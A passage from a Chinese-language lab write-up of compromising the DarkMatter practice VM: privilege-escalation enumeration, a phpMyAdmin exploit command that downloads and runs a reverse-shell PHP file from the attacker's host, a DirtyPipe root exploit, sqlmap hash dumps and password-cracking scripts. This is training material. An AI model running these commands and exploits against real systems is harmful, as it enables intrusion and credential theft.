mnt\ndrwxr-xr-x   2 root root  4096 Nov 21  2021 opt\ndr-xr-xr-x 149 root root     0 Aug  7 19:56 proc\ndrwx------   4 root root  4096 Nov 20  2021 root\ndrwxr-xr-x  19 root root   540 Aug  7 19:57 run\nlrwxrwxrwx   1 root root     8 Nov 10  2021 sbin -> usr\/sbin\ndrwxr-xr-x   2 root root  4096 Nov 13  2021 srv\ndr-xr-xr-x  13 root root     0 Aug  7 19:56 sys\ndrwxrwxrwt   2 root root  4096 Aug  7 22:26 tmp\ndrwxr-xr-x  14 root root  4096 Nov 10  2021 usr\ndrwxr-xr-x  12 root root  4096 Nov 13  2021 var\nlrwxrwxrwx   1 root root    27 Nov 10  2021 vmlinuz -> boot\/vmlinuz-5.10.0-9-amd64\nlrwxrwxrwx   1 root root    27 Nov 10  2021 vmlinuz.old -> boot\/vmlinuz-5.10.0-9-amd64\n(remote) www-data@DarkMatter:\/$ sudo -l\n[sudo] password for www-data: \nSorry, try again.\n[sudo] password for www-data: \nsudo: 1 incorrect password attempt\n(remote) www-data@DarkMatter:\/$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/bin\/gpasswd\n\/usr\/bin\/umount\n\/usr\/bin\/newgrp\n\/usr\/bin\/passwd\n\/usr\/bin\/sudo\n\/usr\/bin\/mount\n\/usr\/bin\/su\n\/usr\/bin\/chsh\n\/usr\/bin\/chfn\n(remote) www-data@DarkMatter:\/$ \/usr\/sbin\/getcap -r \/ 2>\/dev\/null\n\/usr\/bin\/ping cap_net_raw=ep\n(remote) www-data@DarkMatter:\/$ cat \/etc\/cron*\ncat: \/etc\/cron.d: Is a directory\ncat: \/etc\/cron.daily: Is a directory\ncat: \/etc\/cron.hourly: Is a directory\ncat: \/etc\/cron.monthly: Is a directory\ncat: \/etc\/cron.weekly: Is a directory\n# \/etc\/crontab: system-wide crontab\n# Unlike any other crontab you don't have to run the `crontab'\n# command to install the new version when you edit this file\n# and files in \/etc\/cron.d. These files also have username fields,\n# that none of the other crontabs do.\n\nSHELL=\/bin\/sh\nPATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/sbin:\/bin:\/usr\/sbin:\/usr\/bin\n\n# Example of job definition:\n# .---------------- minute (0 - 59)\n# |  .------------- hour (0 - 23)\n# |  |  .---------- day of month (1 - 31)\n# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...\n# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat\n# |  |  |  |  |\n# *  *  *  *  * user-name command to be executed\n17 *    * * *   root    cd \/ && run-parts --report \/etc\/cron.hourly\n25 6    * * *   root    test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.daily )\n47 6    * * 7   root    test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.weekly )\n52 6    1 * *   root    test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.monthly )<\/code><\/pre>\n
\u7136\u540e\u4e0a\u4f20pspy64\u770b\u4e00\u4e0b\uff1a<\/p>\n
(remote) www-data@DarkMatter:\/tmp$ wget http:\/\/172.20.10.8:8888\/lpspy64;chmod +x lpspy64<\/code><\/pre>\n
\u5565\u90fd\u6ca1\u53d1\u73b0\uff0c\u5c1d\u8bd5\u67e5\u770b\u4e00\u4e0b\u5176\u4ed6\u4fe1\u606f\uff0c\u4e0a\u4f20linpeas.sh<\/code>\u3002<\/p>\n
(remote) www-data@DarkMatter:\/tmp$ wget http:\/\/172.20.10.8:8888\/linpeas.sh;chmod +x linpeas.sh<\/code><\/pre>\n
\u53d1\u73b0\u627e\u5230\u4e86\u5947\u602a\u7684\u4e1c\u897f\uff1a<\/p>\n
\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Checking 'sudo -l', \/etc\/sudoers, and \/etc\/sudoers.d\n\u255a https:\/\/book.hacktricks.xyz\/linux-hardening\/privilege-escalation#sudo-and-suid\nSudoers file: \/etc\/sudoers.d\/darkenergy is readable\ndarkenergy rettaMkraD = (root) NOPASSWD: \/bin\/bash<\/code><\/pre>\n
\u8fd9\u73a9\u610f\u53ef\u8bfb\u3002\u3002\u3002\u3002\u3002<\/p>\n
(remote) www-data@DarkMatter:\/etc\/sudoers.d$ cat \/etc\/group |  grep darkenergy\ncdrom:x:24:darkenergy\nfloppy:x:25:darkenergy\naudio:x:29:darkenergy\ndip:x:30:darkenergy\nvideo:x:44:darkenergy\nplugdev:x:46:darkenergy\nnetdev:x:109:darkenergy\nbluetooth:x:112:darkenergy\ndarkenergy:x:1000:<\/code><\/pre>\n
\u8fd9\u4e2arettaMkraD<\/code>\u611f\u89c9\u662fDarkMatter<\/code>\uff0c\u62bd\u8c61\u3002\u3002\u3002\u3002<\/p>\n
(remote) www-data@DarkMatter:\/$ find \/ -group darkenergy 2>\/dev\/null\n\/home\/darkenergy\n\/opt\/note.txt\n\/var\/lib\/sudo\/lectured\/darkenergy\n\n(remote) www-data@DarkMatter:\/$ cat \/opt\/note.txt\nwww-data can read root's important.txt file but idk how ;(<\/code><\/pre>\n
\u770b\u4e00\u4e0b\u662f\u5426\u5b58\u5728\u5176\u4ed6\u7279\u6b8a\u6743\u9650\uff0c\u53d1\u73b0\u6ca1\u6709Acls<\/code>\u4ee5\u53cadoas<\/code>\u4e4b\u7c7b\u7684\uff0c\u5c1d\u8bd5\u641e\u5176\u4ed6\u7684\uff1a<\/p>\n
(remote) www-data@DarkMatter:\/$ cd \/opt\n(remote) www-data@DarkMatter:\/opt$ ls -la \ntotal 2444\ndrwxr-xr-x  2 root       root          4096 Nov 21  2021 .\ndrwxr-xr-x 18 root       root          4096 Nov 10  2021 ..\n-rwxrwxr--  1 darkenergy darkenergy      59 Nov 14  2021 note.txt\n-rwxrwxrwx  1 root       root       2489009 Nov 21  2021 website.zip\n(remote) www-data@DarkMatter:\/opt$ cp website.zip \/tmp\/\n(remote) www-data@DarkMatter:\/opt$ cd \/tmp\n(remote) www-data@DarkMatter:\/tmp$ unzip website.zip \n......\n(remote) www-data@DarkMatter:\/tmp$ ls\ndarkmatter  linpeas.sh  lpspy64  revshell.php  website.zip\n(remote) www-data@DarkMatter:\/tmp$ cd darkmatter\/\n(remote) www-data@DarkMatter:\/tmp\/darkmatter$ ls -la\ntotal 92\ndrwxr-x--x 6 www-data www-data 4096 Nov 21  2021 .\ndrwxrwxrwt 3 root     root     4096 Aug  7 23:01 ..\n-rwxr-xr-x 1 www-data www-data 6427 Nov 14  2021 blog.php\n-rwxr-xr-x 1 www-data www-data  319 Nov 14  2021 conn.php\ndrwxr-xr-x 2 www-data www-data 4096 Nov 14  2021 css\n-rwxr-xr-x 1 www-data www-data  350 Nov 14  2021 footer.php\n-rwxr-xr-x 1 www-data www-data  272 Nov 14  2021 header.php\n-rwxr-xr-x 1 www-data www-data 2464 Nov 14  2021 home.php\ndrwxr-xr-x 2 www-data www-data 4096 Nov 14  2021 images\n-rwxr-xr-x 1 www-data www-data  476 Nov 14  2021 index.php\ndrwxr-xr-x 2 www-data www-data 4096 Nov 14  2021 js\n-rwxr-xr-x 1 www-data www-data 3416 Nov 21  2021 login.php\n-rwxr-xr-x 1 www-data www-data  108 Nov 14  2021 logout.php\n-rwxr-xr-x 1 www-data www-data 1669 Nov 14  2021 manage.php\n-rwxr-xr-x 1 www-data www-data 3265 Nov 14  2021 navbar.php\n-rwxr-xr-x 1 www-data www-data 2854 Nov 14  2021 profile.php\n-rwxr-x--x 1 www-data www-data 6315 Nov 21  2021 register.php\n-rwxr-xr-x 1 www-data www-data  607 Nov 14  2021 status.php\n-rwxr-xr-x 1 www-data www-data 6172 Nov 14  2021 update.php\ndrwxr-xr-x 2 www-data www-data 4096 Nov 14  2021 upload\n(remote) www-data@DarkMatter:\/tmp\/darkmatter$ cat conn.php\n<?php\n    \/\/ connection vars\n    $hname = "127.0.0.1";\n    $uname = "pam";\n    $upass = "th3-!llum!n@t0r";\n    $dbname = "mysql";\n\n    \/\/ create conn\n    $conn = mysqli_connect($hname, $uname, $upass, $dbname);\n\n    \/\/ check conn\n    if (!$conn) {\n        die("Connection failed : " . mysqli_connect_error());\n    }\n?>\n\n(remote) www-data@DarkMatter:\/tmp\/darkmatter$ cat profile.php\n.........\n<!--\nDarkMatter's All Power is here ^(#\uff40\u2200 \u00b4)_\u03a8\n<?xml version="1.0" encoding="utf-8"?>\n<KeyFile>\n        <Meta>\n                <Version>2.0<\/Version>\n        <\/Meta>\n        <Key>\n                <Data Hash="180EC55B">\n                        AE9AEE5F 228C56A6 42D81928 59EF70B8\n                        1A9468F9 C7FA509E 6A290BE5 60111681\n                <\/Data>\n        <\/Key>\n<\/KeyFile>\n-->\n.........\n\n(remote) www-data@DarkMatter:\/tmp\/darkmatter$ cat register.php\n.........\nif ($_POST['vpassword'] == $password) {\n            \/\/ don't forget to "rev" your password after cracking hash\n            $vpassword = sha1(md5("s3cr37" . $password . "p4ssw0rd"));\n        } \n.........\n(remote) www-data@DarkMatter:\/tmp\/darkmatter$ cd upload\/\n(remote) www-data@DarkMatter:\/tmp\/darkmatter\/upload$ ls -la\ntotal 1376\ndrwxr-xr-x 2 www-data www-data    4096 Nov 14  2021 .\ndrwxr-x--x 6 www-data www-data    4096 Nov 21  2021 ..\n-rwxr-xr-x 1 www-data www-data   50193 Nov 14  2021 dp.jpg\n-rwxr-xr-x 1 www-data www-data 1345261 Nov 14  2021 dp.jpg.bak<\/code><\/pre>\n
\u63a2\u7d22<\/h3>\n
\u770b\u4e00\u4e0b\u662f\u5426\u6709\u9690\u85cf\u4fe1\u606f\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ exiftool dp.jpg\nExifTool Version Number         : 12.23\nFile Name                       : dp.jpg\nDirectory                       : .\nFile Size                       : 49 KiB\nFile Modification Date\/Time     : 2024:08:07 23:17:30-04:00\nFile Access Date\/Time           : 2024:08:07 23:18:19-04:00\nFile Inode Change Date\/Time     : 2024:08:07 23:17:30-04:00\nFile Permissions                : -rw-r--r--\nFile Type                       : JPEG\nFile Type Extension             : jpg\nMIME Type                       : image\/jpeg\nJFIF Version                    : 1.01\nResolution Unit                 : None\nX Resolution                    : 1\nY Resolution                    : 1\nProfile CMM Type                : Little CMS\nProfile Version                 : 2.1.0\nProfile Class                   : Display Device Profile\nColor Space Data                : RGB\nProfile Connection Space        : XYZ\nProfile Date Time               : 2012:01:25 03:41:57\nProfile File Signature          : acsp\nPrimary Platform                : Apple Computer Inc.\nCMM Flags                       : Not Embedded, Independent\nDevice Manufacturer             : \nDevice Model                    : \nDevice Attributes               : Reflective, Glossy, Positive, Color\nRendering Intent                : Perceptual\nConnection Space Illuminant     : 0.9642 1 0.82491\nProfile Creator                 : Little CMS\nProfile ID                      : 0\nProfile Description             : c2\nProfile Copyright               : FB\nMedia White Point               : 0.9642 1 0.82491\nMedia Black Point               : 0.01205 0.0125 0.01031\nRed Matrix Column               : 0.43607 0.22249 0.01392\nGreen Matrix Column             : 0.38515 0.71687 0.09708\nBlue Matrix Column              : 0.14307 0.06061 0.7141\nRed Tone Reproduction Curve     : (Binary data 64 bytes, use -b option to extract)\nGreen Tone Reproduction Curve   : (Binary data 64 bytes, use -b option to extract)\nBlue Tone Reproduction Curve    : (Binary data 64 bytes, use -b option to extract)\nImage Width                     : 959\nImage Height                    : 640\nEncoding Process                : Baseline DCT, Huffman coding\nBits Per Sample                 : 8\nColor Components                : 3\nY Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)\nImage Size                      : 959x640\nMegapixels                      : 0.614\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ binwalk dp.jpg           \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             JPEG image data, JFIF standard 1.01\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ binwalk dp.jpg.bak \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             PNG image, 3840 x 2160, 8-bit\/color RGBA, non-interlaced\n159           0x9F            Zlib compressed data, best compression<\/code><\/pre>\n
\"image-20240808112612042\"<\/div>
\n
\"image-20240808112554465\"<\/div><\/p>\n
\u90fd\u662f\u5e08\u5085\u5e38\u7528\u7684\u56fe\uff0c\u7edd\u5bf9\u6709\u732b\u817b\uff0c\u91cd\u547d\u540d\u4ed4\u7ec6\u770b\u770b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ exiftool dpb.jpg\nExifTool Version Number         : 12.23\nFile Name                       : dpb.jpg\nDirectory                       : .\nFile Size                       : 1314 KiB\nFile Modification Date\/Time     : 2024:08:07 23:18:46-04:00\nFile Access Date\/Time           : 2024:08:07 23:25:35-04:00\nFile Inode Change Date\/Time     : 2024:08:07 23:25:35-04:00\nFile Permissions                : -rw-r--r--\nFile Type                       : PNG\nFile Type Extension             : png\nMIME Type                       : image\/png\nImage Width                     : 3840\nImage Height                    : 2160\nBit Depth                       : 8\nColor Type                      : RGB with Alpha\nCompression                     : Deflate\/Inflate\nFilter                          : Adaptive\nInterlace                       : Noninterlaced\nGamma                           : 2.2\nWhite Point X                   : 0.3127\nWhite Point Y                   : 0.329\nRed X                           : 0.64\nRed Y                           : 0.33\nGreen X                         : 0.3\nGreen Y                         : 0.6\nBlue X                          : 0.15\nBlue Y                          : 0.06\nBackground Color                : 0 0 0\nPixels Per Unit X               : 3780\nPixels Per Unit Y               : 3780\nPixel Units                     : meters\nModify Date                     : 2019:01:24 21:41:18\nWarning                         : [minor] Text chunk(s) found after PNG IDAT (may be ignored by some readers)\nDatecreate                      : 2019-01-24T21:41:18-08:00\nDatemodify                      : 2019-01-24T21:41:18-08:00\nImage Size                      : 3840x2160\nMegapixels                      : 8.3<\/code><\/pre>\n
\u5636\u3002\u3002\u3002\u3002\u3002\u8fd9\u56fe\u9664\u4e86\u597d\u770b\u4e5f\u6ca1\u5565\uff0c\u6e9c\u3002\u3002\u3002\u3002<\/p>\n
python3 50457.py $IP 80 \/phpmyadmin pam 'th3-!llum!n@t0r' 'cd \/tmp;wget http:\/\/192.168.10.101:8888\/revshell.php;chmod +x revshell.php;php revshell.php'<\/code><\/pre>\n
\u540e\u9762\u6362\u4e86\u4e00\u4e2a\u7f51\u7edc\uff0c\u4f5c\u5f0a\u8fdb\u53bb\u770b\u4e86\u4e00\u4e0b\uff1ahttps:\/\/github.com\/n3rada\/DirtyPipe<\/a><\/p>\n
(remote) www-data@DarkMatter:\/tmp$ .\/dpipe \nUsage:\n  .\/dpipe [--no-backup] [--root]\n  .\/dpipe [--no-backup] <file_path> <offset> <data>\n\nOptions:\n  --no-backup  Do not create a backup of the file before writing.\n  --root        Apply root exploit on \/etc\/passwd.\n(remote) www-data@DarkMatter:\/tmp$ .\/dpipe --root\n[Dirty Pipe] Attempting to backup '\/etc\/passwd' to '\/tmp\/passwd.bak'\n[Dirty Pipe] Successfully backed up '\/etc\/passwd' to '\/tmp\/passwd.bak'\n[Dirty Pipe] Initiating write to '\/etc\/passwd'...\n[Dirty Pipe] Data size to write: 131 bytes\n[Dirty Pipe] File '\/etc\/passwd' opened successfully for reading.\n[Dirty Pipe] Pipe size determined: 65536 bytes\n[Dirty Pipe] Filling the pipe...\n[Dirty Pipe] Pipe filled successfully.\n[Dirty Pipe] Draining the pipe...\n[Dirty Pipe] Pipe drained successfully.\n[Dirty Pipe] Data successfully written to '\/etc\/passwd'.\n[Dirty Pipe] You can connect as root with password 'el3ph@nt!'\n[Dirty Pipe] Program execution completed successfully.\n(remote) www-data@DarkMatter:\/tmp$ su - root\nPassword: \n# whoami;id\nroot\nuid=0(root) gid=0(root) groups=0(root)\n# cat impo*\nA great website isn't run by a normal user, but by a great administrator\n                                                            - daarkmatter<\/code><\/pre>\n
sql \u6570\u636e\u4e8c\u6b21\u63a2\u7d22<\/h3>\n
\u5636\u3002\u3002\u3002\u3002\u7136\u540e\u53c8\u6740\u56desql\u6570\u636e\u5e93\u4e86\uff0c\u6211\u8fd8\u4ee5\u4e3a\u7528\u4e0d\u4e0a\u4e86\uff0c\u90a3\u91cc\u7528\u6237\u4fe1\u606f\u6ca1\u641e\u5b8c\uff1a<\/p>\n
\"image-20240808232412742\"<\/div><\/p>\n
# sqlmap -u "http:\/\/dark.darkmatter.hmv\/update.php?id=5" --cookie "PHPSESSID=8i7j0lmbqs67u6b77mh7or3ub9" --batch -D mysql --tables\n+---------------------------+\n| event                     |\n| plugin                    |\n| user                      |\n| column_stats              |\n| columns_priv              |\n| db                        |\n| details                   |\n| func                      |\n| general_log               |\n| global_priv               |\n| gtid_slave_pos            |\n| help_category             |\n| help_keyword              |\n| help_relation             |\n| help_topic                |\n| index_stats               |\n| innodb_index_stats        |\n| innodb_table_stats        |\n| proc                      |\n| procs_priv                |\n| proxies_priv              |\n| roles_mapping             |\n| servers                   |\n| slow_log                  |\n| table_stats               |\n| tables_priv               |\n| time_zone                 |\n| time_zone_leap_second     |\n| time_zone_name            |\n| time_zone_transition      |\n| time_zone_transition_type |\n| transaction_registry      |\n+---------------------------+\n\n# sqlmap -u "http:\/\/dark.darkmatter.hmv\/update.php?id=5" --cookie "PHPSESSID=8i7j0lmbqs67u6b77mh7or3ub9" --batch -D mysql -T user --columns\n+------------------------+---------------------+\n| Column                 | Type                |\n+------------------------+---------------------+\n| Host                   | char(60)            |\n| max_user_connections   | bigint(21)          |\n| plugin                 | longtext            |\n| User                   | char(80)            |\n| Alter_priv             | varchar(1)          |\n| Alter_routine_priv     | varchar(1)          |\n| authentication_string  | longtext            |\n| Create_priv            | varchar(1)          |\n| Create_routine_priv    | varchar(1)          |\n| Create_tablespace_priv | varchar(1)          |\n| Create_tmp_table_priv  | varchar(1)          |\n| Create_user_priv       | varchar(1)          |\n| Create_view_priv       | varchar(1)          |\n| default_role           | longtext            |\n| Delete_history_priv    | varchar(1)          |\n| Delete_priv            | varchar(1)          |\n| Drop_priv              | varchar(1)          |\n| Event_priv             | varchar(1)          |\n| Execute_priv           | varchar(1)          |\n| File_priv              | varchar(1)          |\n| Grant_priv             | varchar(1)          |\n| Index_priv             | varchar(1)          |\n| Insert_priv            | varchar(1)          |\n| is_role                | varchar(1)          |\n| Lock_tables_priv       | varchar(1)          |\n| max_connections        | bigint(20) unsigned |\n| max_questions          | bigint(20) unsigned |\n| max_statement_time     | decimal(12,6)       |\n| max_updates            | bigint(20) unsigned |\n| Password               | longtext            |\n| password_expired       | varchar(1)          |\n| Process_priv           | varchar(1)          |\n| References_priv        | varchar(1)          |\n| Reload_priv            | varchar(1)          |\n| Repl_client_priv       | varchar(1)          |\n| Repl_slave_priv        | varchar(1)          |\n| Select_priv            | varchar(1)          |\n| Show_db_priv           | varchar(1)          |\n| Show_view_priv         | varchar(1)          |\n| Shutdown_priv          | varchar(1)          |\n| ssl_cipher             | longtext            |\n| ssl_type               | varchar(9)          |\n| Super_priv             | varchar(1)          |\n| Trigger_priv           | varchar(1)          |\n| Update_priv            | varchar(1)          |\n| x509_issuer            | longtext            |\n| x509_subject           | longtext            |\n+------------------------+---------------------+\n\n# sqlmap -u "http:\/\/dark.darkmatter.hmv\/update.php?id=5" --cookie "PHPSESSID=8i7j0lmbqs67u6b77mh7or3ub9" --batch -D mysql -T user -C User,Password --dump\n+-------------+-------------------------------------------+\n| User        | Password                                  |\n+-------------+-------------------------------------------+\n| mariadb.sys | <blank>                                   |\n| mysql       | invalid                                   |\n| pma         | *BEEB4E851E26AFD599E4AB301C8ABFA703189474 |\n| avijneyam   | *B9F4AA0650E1146EA39CA7CBD3053094D9FD23CB |\n| pam         | *BEEB4E851E26AFD599E4AB301C8ABFA703189474 |\n+-------------+-------------------------------------------+\n\n# sqlmap -u "http:\/\/dark.darkmatter.hmv\/update.php?id=5" --cookie "PHPSESSID=8i7j0lmbqs67u6b77mh7or3ub9" --batch -D mysql --tables --dump\n......\nDatabase: mysql\nTable: details\n[5 entries]\n+----+---------------------------+-------------------+---------+------------------------------------------+--------------+\n| id | email                     | name              | admin   | password                                 | username     |\n+----+---------------------------+-------------------+---------+------------------------------------------+--------------+\n| 1  | testing123@hackmyvm.hmv   | Testing123        | 0       | testing123                               | testing123   |\n| 2  | darkenergy@hackmyvm.hmv   | DarkEnergy        | 1       | 5ab1ac652fa9852b1cf84ef7ef9a89d37455481b | darkenergy   |\n| 3  | testing12345@hackmyvm.hmv | TestingAgain12345 | 0       | testing12345                             | testing12345 |\n| 4  | hello@hello.hmv           | hello             | 0       | fce65e896ce65ce163f920862b51829f55fe1e8f | hello        |\n| 5  | whoami@darkmatter.hmv     | username          | 0       | 090d3016379302e5195b1213966f01424a66eeaa | username     |\n+----+---------------------------+-------------------+---------+------------------------------------------+--------------+\n......<\/code><\/pre>\n
hash\u78b0\u649e<\/h3>\n
\u7ed3\u5408\u524d\u9762\u7684\u90a3\u4e00\u6bb5\u5bc6\u7801\uff1a<\/p>\n
if ($_POST['vpassword'] == $password) {\n    \/\/ don't forget to "rev" your password after cracking hash\n    $vpassword = sha1(md5("s3cr37" . $password . "p4ssw0rd"));\n}<\/code><\/pre>\n
\u770b\u4e00\u4e0b\u5565\u60c5\u51b5\uff0c\u5c1d\u8bd5\u5199\u4e2a\u811a\u672c\u8fdb\u884c\u731c\u89e3\uff1a<\/p>\n
import hashlib\nimport os\n\n# \u7ed9\u5b9a\u7684vpassword\u503c\nvpassword = "5ab1ac652fa9852b1cf84ef7ef9a89d37455481b"\n\n# \u8bfb\u53d6rockyou.txt\u6587\u4ef6\u5e76\u5c1d\u8bd5\u7834\u89e3\u5bc6\u7801\ndef crack_password(vpassword):\n    with open("\/usr\/share\/wordlists\/rockyou.txt", "r", encoding="latin-1") as file:\n        for line in file:\n            password = line.strip()\n            # \u4f7f\u7528\u76f8\u540c\u7684\u54c8\u5e0c\u7b97\u6cd5\n            hashed_password = hashlib.sha1(hashlib.md5(("s3cr37" + password + "p4ssw0rd").encode()).hexdigest().encode()).hexdigest()\n\n            if hashed_password == vpassword:\n                print(f"[+] PASSWORD -> {password}")\n                return password\n        print("[-] NO FOUND....")\n        return None\n\n# \u8fd0\u884c\u51fd\u6570\ncrack_password(vpassword)<\/code><\/pre>\n
\u8fd0\u884c\u5f97\u5230\u7b54\u6848\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ python3 exp.py\n[+] PASSWORD -> d4rk(4ng3l)<\/code><\/pre>\n
\u98a0\u5012\u4e00\u4e0b\uff0c\u7136\u540e\u5c1d\u8bd5\u8fdb\u884c\u767b\u5f55\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ echo -n 'd4rk(4ng3l)' | rev                                                   \n)l3gn4(kr4d<\/code><\/pre>\n
\u5c1d\u8bd5\u5207\u6362\u7528\u6237\uff1a<\/p>\n
\"image-20240809000838388\"<\/div><\/p>\n
\u62ff\u4e0b\u7528\u6237<\/p>\n
\u7834\u89e3\u5bc6\u7801(\u5931\u8d25)<\/h3>\n
darkenergy@DarkMatter:~$ sudo -l\n[sudo] password for darkenergy: \nSorry, user darkenergy may not run sudo on DarkMatter.\ndarkenergy@DarkMatter:~$ ls -la\ntotal 36\ndrwx------ 3 darkenergy darkenergy 4096 Nov 21  2021 .\ndrwxr-xr-x 3 root       root       4096 Nov 10  2021 ..\nlrwxrwxrwx 1 root       root          9 Nov 14  2021 .bash_history -> \/dev\/null\n-rw-r--r-- 1 darkenergy darkenergy  220 Nov 10  2021 .bash_logout\n-rw-r--r-- 1 darkenergy darkenergy 3526 Nov 10  2021 .bashrc\ndrwxr-xr-x 3 darkenergy darkenergy 4096 Nov 10  2021 .local\n-rw-r--r-- 1 darkenergy darkenergy  807 Nov 10  2021 .profile\n-rw-r--r-- 1 root       root         99 Nov 14  2021 .secretNote.kdbx\n-rw-r--r-- 1 root       root       2222 Nov 14  2021 secretPass.kdbx\n-r-------- 1 darkenergy darkenergy   33 Nov 14  2021 userFlag.txt\ndarkenergy@DarkMatter:~$ cat userFlag.txt\n4811162d4b5326c7432d29429ca6491b\ndarkenergy@DarkMatter:~$ cat .secretNote.kdbx\nNo one can find that\n                   - Root\n\n#Evil_Laugh hahahahhahahahhahahahahahahha\ndarkenergy@DarkMatter:~$ file secretPass.kdbx\nsecretPass.kdbx: Keepass password database 2.x KDBX<\/code><\/pre>\n
\u4e0b\u8f7d\u5230\u672c\u5730\u770b\u4e00\u4e0b\uff1a<\/p>\n
# darkenergy\ndarkenergy@DarkMatter:~$ python3 -V\nPython 3.9.2\ndarkenergy@DarkMatter:~$ python3 -m http.server 8888\nServing HTTP on 0.0.0.0 port 8888 (http:\/\/0.0.0.0:8888\/) ...\n192.168.10.101 - - [08\/Aug\/2024 12:13:34] "GET \/.secretNote.kdbx HTTP\/1.1" 200 -\n192.168.10.101 - - [08\/Aug\/2024 12:13:42] "GET \/secretPass.kdbx HTTP\/1.1" 200 -\n\n# kali\n# wget http:\/\/192.168.10.106:8888\/.secretNote.kdbx\n# wget http:\/\/192.168.10.106:8888\/secretPass.kdbx\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ stegsnow -C .secretNote.kdbx                                                                                   \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ ls                          \n50457.py  dpb.jpg  dp.jpg  _dp.jpg.bak.extracted  exp.py  hash  secretPass.kdbx\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ keepass2john secretPass.kdbx > secretPass.hash\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ cat secretPass.hash\nsecretPass:$keepass$*2*60000*0*cda329545d735c0f91bd8ce384e059e2dfa82c32c064bb28dca519cd79a9ba47*fcc36a57e7b0bcd99f96df7691ea76662e31200428feedde9eab313e023baf33*a8b33ad9e6f92bc6971e771107dcfe14*137e703f091372a9da08a1b791dbea8ad07aded945534d992d36468551266785*c899b439d77c73e98402a6d7ca21887767c3c26f89bc236a4c7a8d511b0f26ce\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ john --wordlist=\/usr\/share\/wordlists\/rockyou.txt secretPass.hash         \nUsing default input encoding: UTF-8\nLoaded 1 password hash (KeePass [SHA256 AES 32\/64])\nCost 1 (iteration count) is 60000 for all loaded hashes\nCost 2 (version) is 2 for all loaded hashes\nCost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes\nWill run 2 OpenMP threads\nPress 'q' or Ctrl-C to abort, almost any other key for status\n0g 0:00:02:56 0.12% (ETA: 2024-08-10 05:34) 0g\/s 116.0p\/s 116.0c\/s 116.0C\/s monkeys2..michelle4\nSession aborted<\/code><\/pre>\n
\u5c1d\u8bd5\u81ea\u5b9a\u4e49\u5b57\u5178\u8fdb\u884c\u7206\u7834\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ cat dic                                              \nNo\none\ncan\nfind\nthat$\nthat\n-\nRoot$\nRoot\n$\n#Evil_Laugh\nEvil_Laugh\nhahahahhahahahhahahahahahahha$\nhahahahhahahahhahahahahahahha<\/code><\/pre>\n
\u6ca1\u7206\u7834\u51fa\u6765\uff0c\u5c1d\u8bd5\u4e00\u4e0b\u5176\u4ed6\u7684\uff0c\u770b\u770b\u662f\u4e0d\u662f\u6709\u79bb\u8c31\u7684\u5730\u65b9\u3002<\/p>\n
darkenergy@DarkMatter:~$ sudo -l\n[sudo] password for darkenergy: \nSorry, user darkenergy may not run sudo on DarkMatter.\ndarkenergy@DarkMatter:~$ cat \/etc\/sudoers.d\/darkenergy\ndarkenergy rettaMkraD = (root) NOPASSWD: \/bin\/bash\ndarkenergy@DarkMatter:~$ sudo \/bin\/bash\n[sudo] password for darkenergy: \ndarkenergy is not allowed to run sudo on DarkMatter.  This incident will be reported.\ndarkenergy@DarkMatter:~$ ls -la \/etc\/sudoers.d\/darkenergy\n-rw-r--r-- 1 root root 51 Nov 11  2021 \/etc\/sudoers.d\/darkenergy\ndarkenergy@DarkMatter:~$ ls -la \/etc\/shadow\n-rw-r----- 1 root shadow 1013 Nov 21  2021 \/etc\/shadow<\/code><\/pre>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ python3 exp.py             \n[+] PASSWORD -> hello\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ cat exp.py | grep fce  \nvpassword = "fce65e896ce65ce163f920862b51829f55fe1e8f"<\/code><\/pre>\n
\u6ca1\u5565\u6536\u83b7\u3002\u3002\u3002\u3002\u7a81\u7136\u60f3\u8d77\u524d\u9762\u90a3\u4e2a\u7f51\u7ad9\u6709\u4e2akey\u3002\u3002\u3002\u3002<\/p>\n
